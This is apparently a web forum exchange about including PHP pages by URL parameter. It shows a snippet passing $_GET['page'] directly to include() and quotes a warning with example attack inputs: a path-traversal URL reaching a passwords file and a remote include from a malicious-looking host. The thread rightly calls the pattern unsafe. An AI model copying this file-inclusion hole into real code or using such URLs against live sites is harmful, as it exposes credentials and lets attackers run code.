quote:
Originally posted by Eddie
That method is relatively similair to what i've used before, but before, all you had to do was list the different page names, link to the directory the files were in and it would then present them files in a similair fashion to how you did it, hope you understand.
Yes this can be done, by simply saying
code:
<a href="?page=include.php">linkage</a>
and then from this, you just put this where you want to include it which would be
code:
$llama = $_GET['page'];
include ($llama);
However, as MeEtc was saying this should not be done because...
quote:
Originally posted by MeEtc
malicious users can use this to load arbituary code. bbq.com?page=./../passwords.txt would allow a user to load a file that normally wouldn't be able to load, or even bbg.com?page=http://malicioussite.com/badpage.php
Therefore, it would be safer to use the method entailed in my first post and have variables associated to each page; it's more secure, and better practice.
/ 
